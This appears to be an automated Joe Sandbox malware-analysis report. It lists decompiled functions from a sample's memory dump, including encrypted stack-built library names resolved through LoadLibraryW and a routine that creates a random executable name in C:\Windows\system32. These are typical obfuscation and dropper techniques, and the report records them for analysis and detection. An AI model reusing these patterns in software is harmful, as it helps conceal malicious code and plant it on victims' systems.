API ID: DeleteFile_snwprintf$FolderPath
String ID: emitwpc
API String ID: 2811456174-718124430
Opcode ID: 05007382bbc0fb36854ba60e9b83aaad7e4fc6a9a476208040d66cbf0b5eeb5b
Instruction ID: 5e96f1f329b390afa1dcee0c15b86930f5e9e90c2e7c855032069ad801e8edab
Opcode Fuzzy Hash: 05007382bbc0fb36854ba60e9b83aaad7e4fc6a9a476208040d66cbf0b5eeb5b
Instruction Fuzzy Hash: 68115EB3900528ABDB10EB908C59EDF7A7DFF84340F0445A5B626E7181DE318FC48BA9

Uniqueness

Uniqueness Score: 4.31%

Function 005011CD, Relevance: 9.0, APIs: 6, Instructions: 27
synchronizationCOMMON

C-Code - Quality: 39%

			E005011CD(void* __edi) {
				void* __esi;
				void* _t14;
				void* _t17;
				void* _t19;
				void* _t21;

				_t17 = __edi;
				GetModuleFileNameW(??, ??, ??);
				_push(_t21 - 0x18);
				_push(0x80);
				if(L00502020(_t19) != 0) {
					WaitForSingleObject(_t19, 0xffffffff);
					CloseHandle( *(_t21 - 0x18));
					CloseHandle( *(_t21 - 0x14));
				}
				CloseHandle(_t19);
				CloseHandle(_t14);
				return _t17;
			}

0x005011cd
0x005011cd
0x005011d6
0x005011d7
0x005011ec
0x005011f1
0x005011fa
0x00501203
0x00501203
0x0050120a
0x00501211
0x0050121f

APIs

GetModuleFileNameW.KERNEL32 ref: 005011CD
WaitForSingleObject.KERNEL32(?,000000FF), ref: 005011F1
CloseHandle.KERNEL32(?), ref: 005011FA
CloseHandle.KERNEL32(?), ref: 00501203
CloseHandle.KERNEL32 ref: 0050120A
CloseHandle.KERNEL32 ref: 00501211

Memory Dump Source

Source File: 0000000B.00000002.1434055854.00501000.00000020.sdmp, Offset: 00500000, based on PE: true

Associated: 0000000B.00000002.1434051327.00500000.00000002.sdmp
Associated: 0000000B.00000002.1434064721.0050F000.00000002.sdmp
Associated: 0000000B.00000002.1434069247.00510000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_500000_363.jbxd

Similarity

API ID: CloseHandle$FileModuleNameObjectSingleWait
String ID:
API String ID: 2436384749-0
Opcode ID: bfd4d6925e488eb3a43b722d21f5771da44531a4f72f1bbcc6fdb2d0291bcd7e
Instruction ID: eb91181b50ff3256c78a21c61d7633c65dfe3952d1b29051f755320d8e5b2d61
Opcode Fuzzy Hash: bfd4d6925e488eb3a43b722d21f5771da44531a4f72f1bbcc6fdb2d0291bcd7e
Instruction Fuzzy Hash: 79E0303A680415BBCB015BA0ED1D9DDBB38FB59312F004121FA1AE01A1DE31470DDB61

Uniqueness

Uniqueness Score: 0.01%

Function 0050BFFA, Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 140
libraryUNIQUE

C-Code - Quality: 99%

			E0050BFFA(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				void* _t124;
				intOrPtr _t127;
				void* _t134;

				_t124 = __ebx;
				 *((intOrPtr*)(_t134 - 0x1d8)) = 0xcc3200da;
				 *((intOrPtr*)(_t134 - 0x1d4)) = 0x4caa0f36;
				 *((intOrPtr*)(_t134 - 0x1d0)) = 0xa9a6dbf6;
				 *((intOrPtr*)(_t134 - 0x1cc)) = 0xbaf47dac;
				 *((intOrPtr*)(_t134 - 0x1c8)) = 0x460af3b5;
				 *((intOrPtr*)(_t134 - 0x1c4)) = 0x94386c61;
				 *((intOrPtr*)(_t134 - 0x1c0)) = 0x18b97ad8;
				 *((intOrPtr*)(_t134 - 0x1bc)) = 0xc352812b;
				 *((intOrPtr*)(_t134 - 0x1b8)) = 0x4c3a87c0;
				 *((intOrPtr*)(_t134 - 0x1b4)) = 0x8330f4b1;
				 *((intOrPtr*)(_t134 - 0x1b0)) = 0xc15f793c;
				 *((intOrPtr*)(_t134 - 0x1ac)) = 0x6fa8c569;
				 *((intOrPtr*)(_t134 - 0x1a8)) = 0x3b11dcf3;
				 *((intOrPtr*)(_t134 - 0x1a4)) = 0xaa96ff6;
				 *((intOrPtr*)(_t134 - 0x1a0)) = 0xb1d84eb1;
				 *((intOrPtr*)(_t134 - 0x19c)) = 0x49aa0315;
				 *((intOrPtr*)(_t134 - 0x198)) = 0x7f8f2941;
				 *((intOrPtr*)(_t134 - 0x194)) = 0x2ad17b9c;
				 *((intOrPtr*)(_t134 - 0x190)) = 0xfa688bbd;
				 *((intOrPtr*)(_t134 - 0x18c)) = 0x9c14558b;
				 *((intOrPtr*)(_t134 - 0x188)) = 0x521f59f7;
				 *((intOrPtr*)(_t134 - 0x184)) = 0xbefac58f;
				 *((intOrPtr*)(_t134 - 0x180)) = 0x5904ec23;
				 *((intOrPtr*)(_t134 - 0x17c)) = 0xa574fc83;
				 *((intOrPtr*)(_t134 - 0x178)) = 0x80f4869e;
				 *((intOrPtr*)(_t134 - 0x174)) = 0x8a3469d1;
				 *((intOrPtr*)(_t134 - 0x170)) = 0x4a6cd0db;
				 *((intOrPtr*)(_t134 - 0x16c)) = 0x7cbc94d;
				 *((intOrPtr*)(_t134 - 0x168)) = 0xdbda1ff1;
				 *((intOrPtr*)(_t134 - 0x164)) = 0x1436584f;
				 *((intOrPtr*)(_t134 - 0x160)) = 0xd8c86fa7;
				 *((intOrPtr*)(_t134 - 0x15c)) = 0x76c3ce23;
				 *((intOrPtr*)(_t134 - 0x158)) = 0x81773cb;
				 *((intOrPtr*)(_t134 - 0x154)) = 0xd159ceef;
				 *((intOrPtr*)(_t134 - 0x150)) = 0xd26daf02;
				 *((intOrPtr*)(_t134 - 0x14c)) = 0x3b4ff9fb;
				 *((intOrPtr*)(_t134 - 0x148)) = 0x21d7e98c;
				 *((intOrPtr*)(_t134 - 0x144)) = 0xbc079b8a;
				 *((intOrPtr*)(_t134 - 0x140)) = 0x2a8e3c43;
				 *((intOrPtr*)(_t134 - 0x13c)) = 0xc16a66e8;
				 *((intOrPtr*)(_t134 - 0x138)) = 0xf3619966;
				 *((intOrPtr*)(_t134 - 0x134)) = 0x376b47ce;
				 *((intOrPtr*)(_t134 - 0x130)) = 0x4360769;
				 *((intOrPtr*)(_t134 - 0x12c)) = 0x17821f88;
				 *((intOrPtr*)(_t134 - 0x128)) = 0x55b9b01a;
				 *((intOrPtr*)(_t134 - 0x124)) = 0xeaef3a3e;
				 *((intOrPtr*)(_t134 - 0x120)) = 0x8c07e497;
				 *((intOrPtr*)(_t134 - 0x11c)) = 0xd3d551df;
				 *((intOrPtr*)(_t134 - 0x118)) = 0x7abd1207;
				 *((intOrPtr*)(_t134 - 0x114)) = 0x1d2bf980;
				 *((intOrPtr*)(_t134 - 0x110)) = 0x97add55b;
				 *((intOrPtr*)(_t134 - 0x10c)) = 0x201af7db;
				 *((intOrPtr*)(_t134 - 0x108)) = 0x5e56629d;
				 *((intOrPtr*)(_t134 - 0x104)) = 0x11076f6d;
				 *((intOrPtr*)(_t134 - 0x100)) = 0x89741eba;
				 *((intOrPtr*)(_t134 - 0xfc)) = 0xd2948018;
				 *((intOrPtr*)(_t134 - 0xf8)) = 0xd806311c;
				 *((intOrPtr*)(_t134 - 0xf4)) = 0x4ab1182b;
				 *((intOrPtr*)(_t134 - 0xf0)) = 0xa54d5ba1;
				 *((intOrPtr*)(_t134 - 0xec)) = 0x495ef7c7;
				 *((intOrPtr*)(_t134 - 0xe8)) = 0x30ec95f0;
				 *((intOrPtr*)(_t134 - 0xe4)) = 0xcdd9565c;
				 *((intOrPtr*)(_t134 - 0xe0)) = 0x2d57853e;
				 *((intOrPtr*)(_t134 - 0xdc)) = 0xb68f3314;
				 *((intOrPtr*)(_t134 - 0xd8)) = 0x1ad71470;
				 *((intOrPtr*)(_t134 - 0xd4)) = 0xc1b113c5;
				 *((intOrPtr*)(_t134 - 0xd0)) = 0x1af6df0b;
				 *((intOrPtr*)(_t134 - 0xcc)) = 0xe29175e7;
				 *((intOrPtr*)(_t134 - 0xc8)) = 0xb8bb9f07;
				 *((intOrPtr*)(_t134 - 0xc4)) = 0x3f399857;
				 *((intOrPtr*)(_t134 - 0xc0)) = 0x81fd2cdb;
				 *((intOrPtr*)(_t134 - 0xbc)) = 0x19f123a;
				 *((intOrPtr*)(_t134 - 0xb8)) = 0x28bff5a;
				 *((intOrPtr*)(_t134 - 0xb4)) = 0x6bfe8ce6;
				 *((intOrPtr*)(_t134 - 0xb0)) = 0xd7574e3f;
				 *((intOrPtr*)(_t134 - 0xac)) = 0x3691786d;
				 *((intOrPtr*)(_t134 - 0xa8)) = 0x588766c9;
				 *((intOrPtr*)(_t134 - 0xa4)) = 0x367390eb;
				 *((intOrPtr*)(_t134 - 0xa0)) = 0xb1ec2781;
				 *((intOrPtr*)(_t134 - 0x9c)) = 0x12946a5f;
				_push(0x7d25e55d);
				 *((intOrPtr*)(_t134 - 0x98)) = 0x1960b331;
				 *((intOrPtr*)(_t134 - 0x94)) = 0xcebf7c09;
				 *((intOrPtr*)(_t134 - 0x90)) = 0xd60051e8;
				 *((intOrPtr*)(_t134 - 0x8c)) = 0xb3380c0a;
				 *((intOrPtr*)(_t134 - 0x88)) = 0xc94d4e15;
				 *((intOrPtr*)(_t134 - 0x84)) = 0x19ee285d;
				 *((intOrPtr*)(_t134 - 0x80)) = 0x334db5f7;
				 *((intOrPtr*)(_t134 - 0x7c)) = 0x9071bc52;
				 *((intOrPtr*)(_t134 - 0x78)) = 0x707419a;
				 *((intOrPtr*)(_t134 - 0x74)) = 0xd5e6fd75;
				 *((intOrPtr*)(_t134 - 0x70)) = 0xee9fe7eb;
				 *((intOrPtr*)(_t134 - 0x6c)) = 0x31474756;
				 *((intOrPtr*)(_t134 - 0x68)) = 0x11eef71f;
				 *((intOrPtr*)(_t134 - 0x64)) = 0x19c1f92f;
				 *((intOrPtr*)(_t134 - 0x60)) = 0x6099c568;
				 *((intOrPtr*)(_t134 - 0x5c)) = 0x38e0c079;
				 *((intOrPtr*)(_t134 - 0x58)) = 0x81396fb;
				 *((intOrPtr*)(_t134 - 0x54)) = 0x8daf52c0;
				 *((intOrPtr*)(_t134 - 0x50)) = 0x6d67ade1;
				 *((intOrPtr*)(_t134 - 0x4c)) = 0xd63d8fc1;
				 *((intOrPtr*)(_t134 - 0x48)) = 0x3eceb35d;
				 *((intOrPtr*)(_t134 - 0x44)) = 0x5a0d352b;
				 *((intOrPtr*)(_t134 - 0x40)) = 0x3f59c3c;
				 *((intOrPtr*)(_t134 - 0x3c)) = 0x380c7f9a;
				 *((intOrPtr*)(_t134 - 0x38)) = 0xf08dd99c;
				 *((intOrPtr*)(_t134 - 0x34)) = 0x2ad4aea7;
				 *((intOrPtr*)(_t134 - 0x30)) = 0xd49cbb05;
				 *((intOrPtr*)(_t134 - 0x2c)) = 0xaca865e;
				 *((intOrPtr*)(_t134 - 0x28)) = 0x34b98ced;
				 *((intOrPtr*)(_t134 - 0x24)) = 0x44f96df3;
				 *((intOrPtr*)(_t134 - 0x20)) = 0x5ceafb6d;
				 *((intOrPtr*)(_t134 - 0x1c)) = 0xe0907016;
				 *((intOrPtr*)(_t134 - 0x18)) = 0xbfaa049e;
				 *((intOrPtr*)(_t134 - 0x14)) = 0xf51e66fc;
				 *((intOrPtr*)(_t134 - 0x10)) = 0xddafbd8f;
				 *((intOrPtr*)(_t134 - 0xc)) = 0x7ec84b38;
				 *((intOrPtr*)(_t134 - 8)) = 0xee2f8d5b;
				 *((intOrPtr*)(_t134 - 4)) = 0x2ee75a83;
				_t132 = L00501D10(0x511260, 0x134, __edi, __esi);
				 *0x514ca4 = LoadLibraryW(_t120);
				L00501DB0(_t132);
				_t127 =  *0x514ca4; // 0x0
				return E00501570(_t124, _t127, _t134 - 0x1d8, _t132, 0x76, 0x539f34f7, 0x514ab0);
			}

0x0050bffa
0x0050bffa
0x0050c004
0x0050c00e
0x0050c018
0x0050c022
0x0050c02c
0x0050c036
0x0050c040
0x0050c04a
0x0050c054
0x0050c05e
0x0050c068
0x0050c072
0x0050c07c
0x0050c086
0x0050c090
0x0050c09a
0x0050c0a4
0x0050c0ae
0x0050c0b8
0x0050c0c2
0x0050c0cc
0x0050c0d6
0x0050c0e0
0x0050c0ea
0x0050c0f4
0x0050c0fe
0x0050c108
0x0050c112
0x0050c11c
0x0050c126
0x0050c130
0x0050c13a
0x0050c144
0x0050c14e
0x0050c158
0x0050c162
0x0050c16c
0x0050c176
0x0050c180
0x0050c18a
0x0050c194
0x0050c19e
0x0050c1a8
0x0050c1b2
0x0050c1bc
0x0050c1c6
0x0050c1d0
0x0050c1da
0x0050c1e4
0x0050c1ee
0x0050c1f8
0x0050c202
0x0050c20c
0x0050c216
0x0050c220
0x0050c22a
0x0050c234
0x0050c23e
0x0050c248
0x0050c252
0x0050c25c
0x0050c266
0x0050c270
0x0050c27a
0x0050c284
0x0050c28e
0x0050c298
0x0050c2a2
0x0050c2ac
0x0050c2b6
0x0050c2c0
0x0050c2ca
0x0050c2d4
0x0050c2de
0x0050c2e8
0x0050c2f2
0x0050c2fc
0x0050c306
0x0050c310
0x0050c31a
0x0050c324
0x0050c333
0x0050c33d
0x0050c347
0x0050c351
0x0050c35b
0x0050c365
0x0050c36c
0x0050c373
0x0050c37a
0x0050c381
0x0050c388
0x0050c38f
0x0050c396
0x0050c39d
0x0050c3a4
0x0050c3ab
0x0050c3b2
0x0050c3b9
0x0050c3c0
0x0050c3c7
0x0050c3ce
0x0050c3d5
0x0050c3dc
0x0050c3e3
0x0050c3ea
0x0050c3f1
0x0050c3f8
0x0050c3ff
0x0050c406
0x0050c40d
0x0050c414
0x0050c41b
0x0050c422
0x0050c429
0x0050c430
0x0050c437
0x0050c43e
0x0050c44d
0x0050c458
0x0050c45d
0x0050c462
0x0050c486

APIs

LoadLibraryW.KERNEL32(00000000), ref: 0050C450

Strings

>:, xrefs: 0050C1BC
+5Z, xrefs: 0050C3CE
VGG1, xrefs: 0050C388
Q, xrefs: 0050C33D

Memory Dump Source

Source File: 0000000B.00000002.1434055854.00501000.00000020.sdmp, Offset: 00500000, based on PE: true

Associated: 0000000B.00000002.1434051327.00500000.00000002.sdmp
Associated: 0000000B.00000002.1434064721.0050F000.00000002.sdmp
Associated: 0000000B.00000002.1434069247.00510000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_500000_363.jbxd

Similarity

API ID: LibraryLoad
String ID: +5Z$>:$VGG1$Q
API String ID: 1029625771-1117859777
Opcode ID: bb446bd6b0fa0754391e99610c102ab712d7d8743269d65e3fbb276f3ad915cf
Instruction ID: 760aa803d81035fda3ac9560c4dd76425ef608a6a6cd00a33921f4710e3a622a
Opcode Fuzzy Hash: bb446bd6b0fa0754391e99610c102ab712d7d8743269d65e3fbb276f3ad915cf
Instruction Fuzzy Hash: 43A1B6B4C06769DBEB20DF919A957DDBA70FB16304F6086C8D5693B300CB351A86CF86

Uniqueness

Uniqueness Score: 100.00%

Function 0050B4A4, Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 139
libraryUNIQUE

C-Code - Quality: 98%

			E0050B4A4(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				void* _t123;
				intOrPtr _t126;
				void* _t133;

				_t123 = __ebx;
				 *((intOrPtr*)(_t133 - 0x1d4)) = 0x3e194ba;
				 *((intOrPtr*)(_t133 - 0x1d0)) = 0xcb5ae7e5;
				 *((intOrPtr*)(_t133 - 0x1cc)) = 0x14c5732f;
				 *((intOrPtr*)(_t133 - 0x1c8)) = 0x53fb9532;
				 *((intOrPtr*)(_t133 - 0x1c4)) = 0xf246e569;
				 *((intOrPtr*)(_t133 - 0x1c0)) = 0xd8e37235;
				 *((intOrPtr*)(_t133 - 0x1bc)) = 0x30b2518c;
				 *((intOrPtr*)(_t133 - 0x1b8)) = 0xae793840;
				 *((intOrPtr*)(_t133 - 0x1b4)) = 0x45dda6c3;
				 *((intOrPtr*)(_t133 - 0x1b0)) = 0xa846bfe5;
				 *((intOrPtr*)(_t133 - 0x1ac)) = 0xce25b571;
				 *((intOrPtr*)(_t133 - 0x1a8)) = 0xa0d0480;
				 *((intOrPtr*)(_t133 - 0x1a4)) = 0x381f467f;
				 *((intOrPtr*)(_t133 - 0x1a0)) = 0x5e75d78d;
				 *((intOrPtr*)(_t133 - 0x19c)) = 0x1232bdea;
				 *((intOrPtr*)(_t133 - 0x198)) = 0xf1ae7c94;
				 *((intOrPtr*)(_t133 - 0x194)) = 0xcd7511f8;
				 *((intOrPtr*)(_t133 - 0x190)) = 0xd3c20dd1;
				 *((intOrPtr*)(_t133 - 0x18c)) = 0xa299daf1;
				 *((intOrPtr*)(_t133 - 0x188)) = 0x33cd7141;
				 *((intOrPtr*)(_t133 - 0x184)) = 0x835add74;
				 *((intOrPtr*)(_t133 - 0x180)) = 0x1ab2f402;
				 *((intOrPtr*)(_t133 - 0x17c)) = 0x1df2bad4;
				 *((intOrPtr*)(_t133 - 0x178)) = 0xc379fb1a;
				 *((intOrPtr*)(_t133 - 0x174)) = 0xa22c1bf9;
				 *((intOrPtr*)(_t133 - 0x170)) = 0xb0529d2f;
				 *((intOrPtr*)(_t133 - 0x16c)) = 0x7f641a7;
				 *((intOrPtr*)(_t133 - 0x168)) = 0xf9c85ac0;
				 *((intOrPtr*)(_t133 - 0x164)) = 0xdbfb1a70;
				 *((intOrPtr*)(_t133 - 0x160)) = 0xbdb38181;
				 *((intOrPtr*)(_t133 - 0x15c)) = 0xfb76298c;
				 *((intOrPtr*)(_t133 - 0x158)) = 0xca1f984c;
				 *((intOrPtr*)(_t133 - 0x154)) = 0x831cc74;
				 *((intOrPtr*)(_t133 - 0x150)) = 0x3947bdfe;
				 *((intOrPtr*)(_t133 - 0x14c)) = 0xa9add96b;
				 *((intOrPtr*)(_t133 - 0x148)) = 0x4ea56a36;
				 *((intOrPtr*)(_t133 - 0x144)) = 0x79ef7dee;
				 *((intOrPtr*)(_t133 - 0x140)) = 0x4d8fad9f;
				 *((intOrPtr*)(_t133 - 0x13c)) = 0xe0d61ece;
				 *((intOrPtr*)(_t133 - 0x138)) = 0x738cb825;
				 *((intOrPtr*)(_t133 - 0x134)) = 0x5eb130f9;
				 *((intOrPtr*)(_t133 - 0x130)) = 0x16915d1;
				 *((intOrPtr*)(_t133 - 0x12c)) = 0x29e94e4a;
				 *((intOrPtr*)(_t133 - 0x128)) = 0x568f537c;
				 *((intOrPtr*)(_t133 - 0x124)) = 0x2e0b7827;
				 *((intOrPtr*)(_t133 - 0x120)) = 0xff88b766;
				 *((intOrPtr*)(_t133 - 0x11c)) = 0xe7533b9c;
				 *((intOrPtr*)(_t133 - 0x118)) = 0x27201384;
				 *((intOrPtr*)(_t133 - 0x114)) = 0x9d4ed368;
				 *((intOrPtr*)(_t133 - 0x110)) = 0x9622ee4b;
				 *((intOrPtr*)(_t133 - 0x10c)) = 0x65a1cb07;
				 *((intOrPtr*)(_t133 - 0x108)) = 0xb9fd4af5;
				 *((intOrPtr*)(_t133 - 0x104)) = 0x1115963;
				 *((intOrPtr*)(_t133 - 0x100)) = 0xfa95e90f;
				 *((intOrPtr*)(_t133 - 0xfc)) = 0xa07788a7;
				 *((intOrPtr*)(_t133 - 0xf8)) = 0x2429942d;
				 *((intOrPtr*)(_t133 - 0xf4)) = 0xf19d9226;
				 *((intOrPtr*)(_t133 - 0xf0)) = 0xf70e3a94;
				 *((intOrPtr*)(_t133 - 0xec)) = 0x7092538b;
				 *((intOrPtr*)(_t133 - 0xe8)) = 0x17ffb4d9;
				 *((intOrPtr*)(_t133 - 0xe4)) = 0xb12d5b72;
				 *((intOrPtr*)(_t133 - 0xe0)) = 0xbfc1f7ab;
				 *((intOrPtr*)(_t133 - 0xdc)) = 0x9597fc4e;
				 *((intOrPtr*)(_t133 - 0xd8)) = 0x64eaf6b3;
				 *((intOrPtr*)(_t133 - 0xd4)) = 0xd274c067;
				 *((intOrPtr*)(_t133 - 0xd0)) = 0xdd26f90;
				 *((intOrPtr*)(_t133 - 0xcc)) = 0x9f7643fa;
				 *((intOrPtr*)(_t133 - 0xc8)) = 0xe141c644;
				 *((intOrPtr*)(_t133 - 0xc4)) = 0x4fa50425;
				 *((intOrPtr*)(_t133 - 0xc0)) = 0x842a7374;
				 *((intOrPtr*)(_t133 - 0xbc)) = 0x37a0bb7d;
				 *((intOrPtr*)(_t133 - 0xb8)) = 0x4ddf7c50;
				 *((intOrPtr*)(_t133 - 0xb4)) = 0x571fa934;
				 *((intOrPtr*)(_t133 - 0xb0)) = 0x22b4ed9d;
				_push(0x7d25e55d);
				 *((intOrPtr*)(_t133 - 0xac)) = 0x674db9c8;
				 *((intOrPtr*)(_t133 - 0xa8)) = 0x9e595797;
				 *((intOrPtr*)(_t133 - 0xa4)) = 0xbf676b2b;
				 *((intOrPtr*)(_t133 - 0xa0)) = 0x2c5aed76;
				 *((intOrPtr*)(_t133 - 0x9c)) = 0x46cb3eb9;
				 *((intOrPtr*)(_t133 - 0x98)) = 0xf310c248;
				 *((intOrPtr*)(_t133 - 0x94)) = 0x5367116a;
				 *((intOrPtr*)(_t133 - 0x90)) = 0xa31f23f;
				 *((intOrPtr*)(_t133 - 0x8c)) = 0xef968811;
				 *((intOrPtr*)(_t133 - 0x88)) = 0xb5d41bd6;
				 *((intOrPtr*)(_t133 - 0x84)) = 0x32a57979;
				 *((intOrPtr*)(_t133 - 0x80)) = 0xfc73b270;
				 *((intOrPtr*)(_t133 - 0x7c)) = 0xb4fb0ab5;
				 *((intOrPtr*)(_t133 - 0x78)) = 0x8eb8ddbd;
				 *((intOrPtr*)(_t133 - 0x74)) = 0x6949af82;
				 *((intOrPtr*)(_t133 - 0x70)) = 0x9b3f1c3f;
				 *((intOrPtr*)(_t133 - 0x6c)) = 0x7d072d75;
				 *((intOrPtr*)(_t133 - 0x68)) = 0x9ff31f4c;
				 *((intOrPtr*)(_t133 - 0x64)) = 0xc34e136c;
				 *((intOrPtr*)(_t133 - 0x60)) = 0x1c37a837;
				 *((intOrPtr*)(_t133 - 0x5c)) = 0x666fca24;
				 *((intOrPtr*)(_t133 - 0x58)) = 0x1efaa7e;
				 *((intOrPtr*)(_t133 - 0x54)) = 0x5763c5ad;
				 *((intOrPtr*)(_t133 - 0x50)) = 0xd5771a59;
				 *((intOrPtr*)(_t133 - 0x4c)) = 0x4c1f92e9;
				 *((intOrPtr*)(_t133 - 0x48)) = 0xc6af177d;
				 *((intOrPtr*)(_t133 - 0x44)) = 0x93560807;
				 *((intOrPtr*)(_t133 - 0x40)) = 0x9fab0cf;
				 *((intOrPtr*)(_t133 - 0x3c)) = 0xcc3cf8fa;
				 *((intOrPtr*)(_t133 - 0x38)) = 0x4e3e3f36;
				 *((intOrPtr*)(_t133 - 0x34)) = 0x6db992cc;
				 *((intOrPtr*)(_t133 - 0x30)) = 0xf4490784;
				 *((intOrPtr*)(_t133 - 0x2c)) = 0xa2d2bd0e;
				 *((intOrPtr*)(_t133 - 0x28)) = 0x5fd65aaa;
				 *((intOrPtr*)(_t133 - 0x24)) = 0xa9dbdcb2;
				 *((intOrPtr*)(_t133 - 0x20)) = 0xa5781439;
				 *((intOrPtr*)(_t133 - 0x1c)) = 0xfee5012e;
				 *((intOrPtr*)(_t133 - 0x18)) = 0xa08d5c8c;
				 *((intOrPtr*)(_t133 - 0x14)) = 0xa06a3ace;
				 *((intOrPtr*)(_t133 - 0x10)) = 0xdea03ac4;
				 *((intOrPtr*)(_t133 - 0xc)) = 0x31284cbc;
				 *((intOrPtr*)(_t133 - 8)) = 0xb5f364a7;
				 *((intOrPtr*)(_t133 - 4)) = 0x7fe3b542;
				_t131 = L00501D10(0x511160, 0xfc, __edi, __esi);
				 *0x514c98 = LoadLibraryW(_t119);
				L00501DB0(_t131);
				_t126 =  *0x514c98; // 0x76910000
				return E00501570(_t123, _t126, _t133 - 0x5b8, _t131, 0x16e, 0x5afb630a, 0x514230);
			}

0x0050b4a4
0x0050b4a4
0x0050b4ae
0x0050b4b8
0x0050b4c2
0x0050b4cc
0x0050b4d6
0x0050b4e0
0x0050b4ea
0x0050b4f4
0x0050b4fe
0x0050b508
0x0050b512
0x0050b51c
0x0050b526
0x0050b530
0x0050b53a
0x0050b544
0x0050b54e
0x0050b558
0x0050b562
0x0050b56c
0x0050b576
0x0050b580
0x0050b58a
0x0050b594
0x0050b59e
0x0050b5a8
0x0050b5b2
0x0050b5bc
0x0050b5c6
0x0050b5d0
0x0050b5da
0x0050b5e4
0x0050b5ee
0x0050b5f8
0x0050b602
0x0050b60c
0x0050b616
0x0050b620
0x0050b62a
0x0050b634
0x0050b63e
0x0050b648
0x0050b652
0x0050b65c
0x0050b666
0x0050b670
0x0050b67a
0x0050b684
0x0050b68e
0x0050b698
0x0050b6a2
0x0050b6ac
0x0050b6b6
0x0050b6c0
0x0050b6ca
0x0050b6d4
0x0050b6de
0x0050b6e8
0x0050b6f2
0x0050b6fc
0x0050b706
0x0050b710
0x0050b71a
0x0050b724
0x0050b72e
0x0050b738
0x0050b742
0x0050b74c
0x0050b756
0x0050b760
0x0050b76a
0x0050b774
0x0050b77e
0x0050b788
0x0050b792
0x0050b7a1
0x0050b7ab
0x0050b7b5
0x0050b7bf
0x0050b7c9
0x0050b7d3
0x0050b7dd
0x0050b7e7
0x0050b7f1
0x0050b7fb
0x0050b805
0x0050b80c
0x0050b813
0x0050b81a
0x0050b821
0x0050b828
0x0050b82f
0x0050b836
0x0050b83d
0x0050b844
0x0050b84b
0x0050b852
0x0050b859
0x0050b860
0x0050b867
0x0050b86e
0x0050b875
0x0050b87c
0x0050b883
0x0050b88a
0x0050b891
0x0050b898
0x0050b89f
0x0050b8a6
0x0050b8ad
0x0050b8b4
0x0050b8bb
0x0050b8c2
0x0050b8c9
0x0050b8d0
0x0050b8d7
0x0050b8de
0x0050b8ed
0x0050b8f8
0x0050b8fd
0x0050b902
0x0050b929

APIs

LoadLibraryW.KERNEL32(00000000), ref: 0050B8F0

Strings

vZ,, xrefs: 0050B7B5
JN), xrefs: 0050B648
}y, xrefs: 0050B60C
6?>N, xrefs: 0050B883

Memory Dump Source

Source File: 0000000B.00000002.1434055854.00501000.00000020.sdmp, Offset: 00500000, based on PE: true

Associated: 0000000B.00000002.1434051327.00500000.00000002.sdmp
Associated: 0000000B.00000002.1434064721.0050F000.00000002.sdmp
Associated: 0000000B.00000002.1434069247.00510000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_500000_363.jbxd

Similarity

API ID: LibraryLoad
String ID: 6?>N$JN)$vZ,$}y
API String ID: 1029625771-497292648
Opcode ID: 4fb9a5fdc6d9347de8e14bcd54b420239f4be06129744d5f275bf988f3f9b4a1
Instruction ID: 9326577f662f3b8fa48b272153caef186111162c0eac9590456a13af7216713a
Opcode Fuzzy Hash: 4fb9a5fdc6d9347de8e14bcd54b420239f4be06129744d5f275bf988f3f9b4a1
Instruction Fuzzy Hash: 19A1C8B4C153A9DBEB60DF82A9857CDBB70BB16304F6086C9D1593B314DB710A82CF86

Uniqueness

Uniqueness Score: 100.00%

Function 0050DD90, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29
stringCOMMON

C-Code - Quality: 100%

			E0050DD90(WCHAR* __ecx) {
				WCHAR* _t19;
				signed int _t23;
				signed int _t24;
				signed int _t25;
				void* _t28;

				_t19 = __ecx;
				lstrcpyW(__ecx, "C:\Windows\system32");
				_t23 = lstrlenW(_t19);
				_t19[_t23] = 0x5c;
				_t24 = _t23 + 1;
				_t28 = (GetTickCount() & 0x0000000f) + 4;
				L005021E0( &(_t19[_t24]), _t28);
				_t25 = _t24 + _t28;
				_t19[_t25] = 0x65002e;
				 *((intOrPtr*)(_t19 + 4 + _t25 * 2)) = 0x650078;
				 *((short*)(_t19 + 8 + _t25 * 2)) = 0;
				return 0;
			}

0x0050dd93
0x0050dd9b
0x0050dda8
0x0050ddaf
0x0050ddb3
0x0050ddc2
0x0050ddc7
0x0050ddcc
0x0050ddd0
0x0050ddd7
0x0050dddf
0x0050dde7

APIs

lstrcpyW.KERNEL32(?,C:\Windows\system32), ref: 0050DD9B
lstrlenW.KERNEL32(?,?,C:\Windows\system32), ref: 0050DDA2
GetTickCount.KERNEL32(?,?,C:\Windows\system32), ref: 0050DDB4

Strings

C:\Windows\system32, xrefs: 0050DD95
x, xrefs: 0050DDD7

Memory Dump Source

Source File: 0000000B.00000002.1434055854.00501000.00000020.sdmp, Offset: 00500000, based on PE: true

Associated: 0000000B.00000002.1434051327.00500000.00000002.sdmp
Associated: 0000000B.00000002.1434064721.0050F000.00000002.sdmp
Associated: 0000000B.00000002.1434069247.00510000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_500000_363.jbxd

Similarity

API ID: CountTicklstrcpylstrlen
String ID: C:\Windows\system32$x
API String ID: 974621299-2137071385
Opcode ID: aa5160d28ff10c9a1f857951ad5c23e067c7c409cb2e9d0db4570916daea0437
Instruction ID: 9b1ce1a6e1af12e064d19456d76e6b9dcdbae514ae7f04e827b1f58fa5759aec
Opcode Fuzzy Hash: aa5160d28ff10c9a1f857951ad5c23e067c7c409cb2e9d0db4570916daea0437
Instruction Fuzzy Hash: 95F0A0B6644315BBD7105FA0DC885463AA5EF94362B0890B5EC05DB256EB74C949C7A0

Uniqueness

Uniqueness Score: 0.02%

Function 005010B7, Relevance: 7.5, APIs: 5, Instructions: 33COMMON

APIs

_snwprintf.NTDLL ref: 005010D6
CreateEventW.KERNEL32(?,00000001,?,?), ref: 005010F1
SetEvent.KERNEL32(00000000,?,00000001,?,?), ref: 005010FE
CloseHandle.KERNEL32(00000000), ref: 00501105
CloseHandle.KERNEL32(00000000), ref: 00501111

Memory Dump Source

Source File: 0000000B.00000002.1434055854.00501000.00000020.sdmp, Offset: 00500000, based on PE: true

